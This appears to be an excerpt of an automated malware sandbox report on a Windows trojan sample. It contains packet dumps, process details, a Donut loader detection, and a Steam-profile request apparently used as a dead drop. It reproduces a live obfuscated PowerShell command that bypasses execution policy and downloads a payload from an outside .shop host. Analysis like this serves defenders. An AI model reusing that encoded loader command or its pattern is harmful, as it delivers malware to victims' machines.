cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1789&rtt_var=686&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2871&recv_bytes=698&delivery_rate=1579232&cwnd=218&unsent_bytes=0&cid=d2cdaf5398cc6323&ts=708&x=0"
2024-12-05 14:04:27 UTC	455	IN	Data Raw: 50 4b 03 04 14 00 08 00 08 00 88 63 85 59 00 00 00 00 00 00 00 00 a8 19 01 00 0c 00 20 00 77 6c 65 73 73 66 70 31 2e 64 6c 6c 55 54 0d 00 07 50 8e 51 67 50 8e 51 67 50 8e 51 67 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 ec bd 79 5c 54 d5 fb 00 7c 67 01 2e 32 30 a3 0e 36 ea a8 93 8e 86 82 8a 81 86 0e 2a 28 cb 68 28 33 6c e3 0a 2e 80 23 22 2a cc 08 16 a1 34 8c 39 dc a6 b4 b2 ac 6f a5 a5 95 95 99 b9 92 9a b1 28 e0 8e e0 ae 19 9a d9 45 34 31 4d 71 9d f7 79 ce bd c3 96 d5 ef fb fb bd ef e7 fd c7 e1 f3 cc b9 67 7f ce 79 96 f3 3c e7 9c 3b 8c 9b b4 9c 12 51 14 25 06 70 38 28 aa 88 e2 3e 21 d4 bf 7f 1a 01 bc 7a ec f4 a2 b6 ba 1f 7e b6 48 10 75 f8 d9 38 e3 ec 2c d5 fc cc 79 b3 32 a7 cf 55 cd 9c 9e 91 31 cf a4 9a 91 a2 ca 34 67 a8 66 67 a8 c2 a2 63 55 73 e7 25 a7 Data Ascii: PKcY wlessfp1.dllUTPQgPQgPQguxy\T\|g.206(h(3l.#"49o(E41Mqygy<;Q%p8(>!z~Hu8,y2U14gfgcUs%
2024-12-05 14:04:27 UTC	1369	IN	Data Raw: cf b5 49 e9 a8 a6 39 71 7e a0 df 90 01 5c 31 ea 36 8c 89 aa e2 db aa fa 4b b9 e2 01 99 59 99 33 29 7e ac b5 7c b9 da 27 b4 97 99 92 3e 0f 0a ca dd 29 32 07 a4 5c c3 5f ca 8d a2 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e 9e 7e fe ab 8f e5 9a 1f 13 a6 0e 64 68 46 27 0e 28 d6 e9 6c 51 6a 09 13 a5 0e d2 db e2 d4 72 9d 3d 4e 2d 8b d1 55 84 a9 15 3e 50 36 15 1e d4 02 12 f4 51 51 b6 30 b5 0f 80 1f 80 3f 40 20 40 10 40 b0 c3 1b fc 44 99 65 af 5f d9 21 f8 58 ae d1 d0 be 0c da 0f 11 5b 8b 6d 12 35 14 11 e7 b9 de 3d 8d 21 e4 48 ec 72 75 8c 8e 35 3b 1c 0e cb 5e 59 d9 a1 04 c6 a4 a6 0d 4c c9 f7 e0 86 53 4c e3 ad cf 92 12 4b c5 d4 a1 a6 0f c9 0f 28 0e 72 35 0d 88 8d 37 30 0e a6 ca f2 c7 4d cb a5 1e 85 ca 76 85 72 7f e9 9e fb d2 ed f5 9a 1b Data Ascii: I9q~\16KY3)~\|'>)2\_~~~~~~~~~~~~~dhF'(lQjr=N-U>P6QQ0?@ @@De_!X[m5=!Hru5;^YLSLK(r570Mvr
2024-12-05 14:04:27 UTC	1369	IN	Data Raw: c7 f8 1e 92 f9 08 96 0b c6 25 5b c8 51 4b c9 fe c8 51 4b 62 2d d6 73 92 90 01 09 49 9c 28 f8 73 e3 e5 fa 0f 8c 8d 07 f4 eb 02 ce 71 22 08 75 fc 80 0b 94 d0 b8 24 06 22 2a c4 23 98 08 a5 6e 0f e2 65 5c 85 3d 1e 4e b5 99 d4 c1 c4 16 98 02 5c 35 45 ed 8f 6a 40 c9 6a a1 17 50 96 93 53 87 9a 40 4d c5 81 06 d4 6a 6e e5 75 c5 f5 10 59 45 9b 10 03 bc 42 11 9d 23 01 a4 b3 1f 23 1f c8 41 98 fc f2 09 ff c8 ed 3a 61 bd ab fd 3f 28 18 a9 0c 6d 29 16 a6 6a 0e 9a ff f4 2d 3d d6 68 29 77 68 ca a5 ef 96 a1 36 d0 33 87 d9 8f ee c3 a4 4e e5 07 84 2b 01 8c 07 26 89 5b 43 40 c1 39 15 98 53 93 a4 f2 d3 f7 17 35 e9 54 68 58 60 18 af ba 24 69 82 b4 f9 2d f4 63 d9 a1 ff f7 db 5f f0 d7 f6 19 ce b8 52 90 f9 76 6a 61 b4 cc 6c 72 35 d4 0c 84 47 55 0c a6 db 09 af 8a d3 e6 a0 16 54 89 Data Ascii: %[QKQKb-sI(sq"u$"*#ne\=N\5Ej@jPS@MjnuYEB##A:a?(m)j-=h)wh63N+&[C@9S5ThX`$i-c_Rvjalr5GUT
2024-12-05 14:04:27 UTC	1369	IN	Data Raw: 65 4b 54 d8 12 95 b6 0c b9 c3 3b 84 33 3e 95 36 6e fb 05 d5 1f a8 2f 95 3d 4f 6c 58 16 21 c0 1c 63 23 d0 71 59 77 cc 95 c4 42 36 d0 4e 68 eb c1 b8 69 ca a4 05 0e 34 88 69 a6 bd 3d 91 8e 35 1a 91 de 24 df b5 42 44 dc bb 91 e0 05 d2 f6 44 49 2c 59 7f 0c e8 e4 39 f3 70 e7 46 5a f0 23 3e 69 e0 61 3b 7a be 7e ec f1 30 9e 3d a4 05 eb 20 25 21 9e a9 64 97 a3 4d 03 b6 96 b4 60 05 b6 09 5e a6 0c ac a6 51 12 b2 35 b1 c8 1e ad 40 3b a7 eb 0d 87 63 49 ae 5a 45 15 ed 06 86 32 bb 14 6d 80 40 67 b4 12 17 81 b5 37 40 13 22 f0 cf 3a c0 0c cb f5 46 85 13 53 f3 50 a7 7f a9 e2 e2 dd 78 2f 96 b7 8a d0 85 7b c8 e5 88 ca 5d 05 2d 9d 51 18 9a 96 86 21 25 31 e5 89 53 27 b7 56 d7 87 f4 b1 09 cc e0 65 68 bf 19 59 64 70 de df 75 9c 04 ce 90 1b 1c 27 49 aa e3 24 58 57 af a3 cd 55 0c Data Ascii: eKT;3>6n/=OlX!c#qYwB6Nhi4i=5$BDDI,Y9pFZ#>ia;z~0= %!dM`^Q5@;cIZE2m@g7@":FSPx/{]-Q!%1S'VehYdpu'I$XWU
2024-12-05 14:04:27 UTC	1369	IN	Data Raw: 1b 4c 03 99 6e cd 83 92 89 4a 88 45 16 21 11 95 c4 eb 44 f7 1c 35 dc 88 3a 30 11 72 4b b9 1c fa 38 d5 34 a6 29 50 0e c7 f5 3b 3f ae 17 b1 09 7b 14 4d c6 f5 3f 1f 15 22 f9 8f a3 fa 9c 1f 15 1e b2 80 d4 12 43 30 06 47 e5 d6 62 54 cd 1f cb b5 e0 d4 7c cd b8 49 b0 5e 4a ad 0f 90 d6 a3 83 ed e9 0a b1 74 47 b8 30 60 7f aa a6 44 ba f4 57 14 f4 28 62 5e 4a 96 33 2f 06 8b 20 4c 43 76 55 db b7 76 c6 3b cd 31 b8 2d ff 3d f8 1e 94 3d 17 0c 89 5b 9f 39 bc 15 dc 1c 05 81 32 04 63 2a 8a 2a 87 12 94 09 f4 50 bd 2b 6e cf f9 96 d8 03 15 4c 78 ae a6 24 33 90 59 89 d7 64 81 29 fd 45 55 a2 7b 9a 53 d9 3d a1 e2 04 c0 3f 0e 77 ce e2 62 f4 09 a2 72 d6 4c 16 0b 54 c4 53 20 d1 8f b1 9e 87 3a 50 db 9f 59 59 db ba 76 f7 27 d4 9e f5 c8 59 1b 0f a0 64 d2 1d f1 42 0b 48 a3 0f 48 b2 a6 Data Ascii: LnJE!D5:0rK84)P;?{M?"C0GbT\|I^JtG0`DW(b^J3/ LCvUv;1-==[92c**P+nLx$3Yd)EU{S=?wbrLTS :PYYv'YdBHH
2024-12-05 14:04:27 UTC	1369	IN	Data Raw: 06 33 40 5f 9f 41 6a d0 e4 84 0f 18 42 db 12 33 52 2d 8e 5c 65 93 25 d9 64 36 ad f8 2f 5d d1 69 02 ac 96 d3 12 6b 1c bb b1 a3 98 a2 9c 47 7f a6 de 50 3e 90 11 a6 39 78 93 03 6f 51 e0 de 59 12 e9 a6 a9 51 13 14 f2 62 86 63 89 b4 c7 60 f3 34 23 d2 a9 55 7b 38 21 98 19 de a6 7e ae 5a 65 cf 96 a0 10 b5 1a 85 5b 02 74 bb a4 55 92 54 5f 1e 29 07 63 a0 a0 d5 6c 3b da 0f a6 64 3f 00 fb fa 43 18 0d 90 0c b0 08 e0 6d 80 8d 00 d5 00 b7 01 3a 0c a1 64 13 00 d2 01 96 02 ac 01 d8 3d 84 ab 7b 93 0f bd 00 96 be c0 ad f1 96 6b d3 88 c7 90 9e c0 0c 5e 0e 5d 82 c2 89 77 9c 4c 13 c7 33 8d 8e 93 cc 87 ea 25 9c 3b 95 83 4a 4e 5a 50 4e f6 21 51 43 f6 b3 af 40 09 b3 dc 97 67 f7 60 6a 62 98 77 48 c9 18 bd 8e 7d e9 21 31 35 93 c8 b6 ce b4 52 19 95 7f af 00 b2 cc 31 4b 72 68 ca 14 Data Ascii: 3@_AjB3R-\e%d6/]ikGP>9xoQYQbc`4#U{8!~Ze[tUT_)cl;d?Cm:d={k^]wL3%;JNZPN!QC@g`jbwH}!15R1Krh
2024-12-05 14:04:27 UTC	1369	IN	Data Raw: a8 b3 da 5e 0f 41 7d 65 8f 00 f3 6b ab 02 6c 5e 36 87 94 a5 5b e8 9c 84 b4 60 d6 e8 d3 bc 7d d1 d7 90 16 64 cf 03 3c 80 eb 37 01 2d d9 ba e7 80 35 82 8c eb 90 77 d8 f1 b8 3c ee 55 e0 c4 91 3b 50 8e de 1b f2 9b f7 06 88 ff 05 6e 60 c0 7e cd 31 d3 38 66 94 52 53 62 8a b0 69 95 b6 b1 72 db 58 da 36 56 51 31 ca 9f 1c 6f 73 2c 05 ec a4 b2 69 7d 6c 5a 3f 9b d6 df a6 0d b2 69 83 ed cb fc 5d f0 14 5a 8e af 9e db b4 e9 36 ad ce a6 8d 0a 28 2e 2b 02 f6 76 f0 f6 bc 04 94 a0 a6 42 5a b0 0d 19 2e 68 90 d4 ba 01 45 16 14 55 90 d4 8a d2 4c 4e ec 34 77 a5 05 af 43 64 68 9e ca 96 a7 30 b7 ab 88 50 51 13 41 24 f3 7c 86 e6 a9 cd c0 05 6a d5 44 64 0d 1f 66 bc ca e8 0f 52 8f f7 52 8f 81 a6 d2 54 98 e9 c4 22 b0 59 1c 49 68 d4 ca 34 47 6d 11 ca 57 dc 6c 39 f4 dd 33 f5 1d 99 63 Data Ascii: ^A}ekl^6[`}d<7-5w<U;Pn`~18fRSbirX6VQ1os,i}lZ?i]Z6(.+vBZ.hEULN4wCdh0PQA$\|jDdfRRT"YIh4GmWl93c
2024-12-05 14:04:27 UTC	1369	IN	Data Raw: e3 bd ce 0b f1 e6 e4 f7 ef b0 57 b7 c2 de e7 7f 8b 7d b7 7f c3 5e d1 1a 7b 35 87 36 cd a3 8d cd 8d 43 ae f5 41 bc af 79 fe bb 9e 91 ee 88 56 68 ce 34 e9 93 f5 a8 4f 74 50 cf c9 96 4e 21 8b 96 95 dc 73 47 c5 a2 f5 03 96 e2 0d 21 5e ed 1b 5b 68 48 4e 2d 02 fa 15 6e e8 cb d4 b5 f3 44 f5 a7 ca 1a 68 5f a7 6e d2 7f 9e ff a4 57 38 bc 50 aa 29 10 6b 90 e7 5a 99 a8 32 a0 b8 30 59 dd a5 e4 22 0d 2a 45 54 69 17 e3 9c 85 70 7d 71 ba 03 4f 3f 2d 8b 71 01 dd 24 69 42 ec 5b 05 99 cd 28 2c 38 ca 9f 9f 57 0e 31 98 d2 30 17 69 c1 7e 09 56 13 53 26 05 73 c4 72 d1 ad a6 de f7 66 85 1b 5e b9 40 2c ea c6 61 ee 63 11 a7 03 3e 96 fc 0d d6 22 5e 07 1c 3c 56 cf 94 c1 14 59 6a 45 78 4b a1 51 64 8b 16 67 27 c2 82 fb 21 2c b8 25 f5 c2 0a 37 4f be 61 cb ef c2 ba 9b 80 05 53 c1 9e bf Data Ascii: W}^{56CAyVh4OtPN!sG!^[hHN-nDh_nW8P)kZ20Y"*ETip}qO?-q$iB[(,8W10i~VS&srf^@,ac>"^<VYjExKQdg'!,%7OaS
2024-12-05 14:04:27 UTC	1369	IN	Data Raw: 5f 30 70 60 e6 fc 86 46 87 2d 74 76 be 1c 3b ef 24 44 a5 d1 89 53 98 4a 30 46 67 0b b9 ad 5a ac c1 44 86 81 55 14 ec 0b 63 f5 d7 10 d3 68 a1 0c 23 81 a2 68 54 02 72 df ca 7a 09 c4 7c 2b 45 d1 fe 0c 77 6c a8 46 6f a2 04 49 b6 b0 33 53 52 df 1e f5 8d 2f d0 23 84 5f 65 08 3d 5a 9b 5b be 95 b8 0d 04 69 d0 10 7a 78 c0 f8 38 e9 85 ee 16 fc 31 94 65 34 9a 43 a8 be cd 75 e8 b6 e1 fb d9 52 6b 8a c0 a9 eb ea 26 09 9a 70 ff 86 3f 7a 2f 8c 0e 71 56 53 a2 e3 e3 c3 17 1d 88 45 17 e3 cb 1f 65 14 67 e4 f7 e3 d6 23 93 e0 7f 60 6f 86 c1 a4 84 11 44 43 04 a1 72 41 a4 92 28 61 3f d3 40 1c 23 78 43 3a df 4a cb 62 19 a5 8f 31 b9 b1 d8 5f bd 0b 5b 2b 69 e5 67 a0 8f 04 ae 06 14 62 b8 13 15 3f a6 cc dc bd 37 f1 1a 0e 96 5c 04 d6 0d d8 5f 98 0e 5e 43 2d 0d fc 75 b0 a4 4e 01 3c 1b Data Ascii: _0p`F-tv;$DSJ0FgZDUch#hTrz\|+EwlFoI3SR/#_e=Z[izx81e4CuRk&p?z/qVSEeg#`oDCrA(a?@#xC:Jb1_[+igb?7\_^C-uN<
2024-12-05 14:04:27 UTC	1369	IN	Data Raw: 42 5c 9c ea 03 60 0a 74 bc 1d 55 af bc 53 aa 32 e1 b5 7b 45 85 10 cd e4 7a 6f 3e 17 ed 63 34 f1 2a 04 5d 39 a4 e5 4c 45 09 2b 02 52 15 e3 9f 6f 23 73 b4 d9 d8 d3 f9 9e b0 94 ba a0 88 9c b6 87 0b c0 03 8c 10 e0 6b b8 b8 f8 97 bb e0 6e 8d 2d 14 97 63 85 4d 2f b6 e5 04 27 c1 6a 37 21 68 72 cb 57 00 f2 af e1 29 e8 27 39 78 4b 60 af ad 40 bd 0c fb 2c 50 e3 3b a5 cc 3b 6a fc 45 f2 58 e6 43 12 c6 33 1b d4 1f 52 78 7c ba 95 64 a3 06 0a 28 b6 de 01 ae d6 91 df 77 81 e9 45 91 06 40 ed 34 05 60 1a 40 32 80 11 20 1d 60 fe c2 4e 60 8e 86 83 cf 1e 16 15 27 b0 47 45 c5 e1 1b 0a e5 99 57 19 21 7a 69 df 4b 89 3f 9f 1b 15 47 99 69 4b 1d 4e 6d 56 03 31 cf 94 0b 5d c9 9d ee 12 eb 7e 73 68 2a 3c 7a 31 1e e5 a0 a4 43 e0 cb 13 5f 36 95 d8 04 16 91 98 f1 48 24 e1 d4 0a 21 b7 f1 Data Ascii: B\`tUS2{Ezo>c4]9LE+Ro#skn-cM/'j7!hrW)'9xK`@,P;;jEXC3Rx\|d(wE@4`@2 `N`'GEW!ziK?GiKNmV1]~sh<z1C_6H$!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49998	104.121.10.34	443	7088	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:05:50 UTC	125	OUT	GET /profiles/76561199047877636 HTTP/1.1 Host: steamcommunity.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-12-05 14:05:50 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 05 Dec 2024 14:05:50 GMT Content-Length: 44361 Connection: close Set-Cookie: sessionid=bb26353b9190081c0f27cc8b; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C2fd05434f65961ead7347d7fb77ec333; Path=/; Secure; HttpOnly; SameSite=None
2024-12-05 14:05:50 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-05 14:05:51 UTC	16384	IN	Data Raw: 6d 2f 22 3e 0a 09 09 09 09 09 09 48 6f 6d 65 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 Data Ascii: m/">Home</a><a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop
2024-12-05 14:05:51 UTC	3768	IN	Data Raw: 09 09 09 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 36 36 36 62 30 35 66 31 39 64 37 30 61 37 37 39 37 37 61 61 31 30 66 36 39 33 61 64 38 37 32 36 61 39 33 36 31 66 64 34 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 Data Ascii: <img src="https://avatars.cloudflare.steamstatic.com/666b05f19d70a77977aa10f693ad8726a9361fd4_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a d
2024-12-05 14:05:51 UTC	9742	IN	Data Raw: 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 75 6e 74 5f 6c 69 6e 6b 20 65 6c 6c 69 70 73 69 73 22 20 3e 0a 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 70 72 6f 66 69 6c 65 73 2f 37 36 35 36 31 31 39 39 30 34 37 38 37 37 36 33 36 2f 67 61 6d 65 73 2f 3f 74 61 62 3d 61 6c 6c 22 3e 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 5f 6c 69 6e 6b 5f 6c 61 62 65 6c 22 3e 47 61 6d 65 73 3c 2f 73 70 61 6e 3e 26 6e 62 73 70 3b 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 75 6e 74 5f 6c 69 6e 6b 5f 74 Data Ascii: quot;clickOnActivate":true}" class="profile_count_link ellipsis" ><a href="https://steamcommunity.com/profiles/76561199047877636/games/?tab=all"><span class="count_link_label">Games</span> <span class="profile_count_link_t

Target ID:	0
Start time:	09:02:53
Start date:	05/12/2024
Path:	C:\Users\user\Desktop\b6FArHy7yA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\b6FArHy7yA.exe"
Imagebase:	0x400000
File size:	718'848 bytes
MD5 hash:	646E2BFF8D4D8AD6689F9EDBC3F7FD27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2776572796.00000000021C0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:04:02
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass -Enc JABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwAKAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgAzADYAMAAuAG4AZQB0ACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYgBhAGkAZAB1AC4AYwBvAG0AIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEMAbABvAHMAZQAoACkACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAKAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACIAaAB0AHQAcABzADoALwAvAGsAbABpAHAAZABhAGoAZQBtAHUAYQAwAC4AcwBoAG8AcAAvAGkAbgB0AF8AYwBsAHAAXwBpAG4AdABlAHIALgB0AHgAdAAiAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAFcAcgBpAHQAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACwAIAAwACwAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAEwAZQBuAGcAdABoACkACgAgACAAIAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYALgBT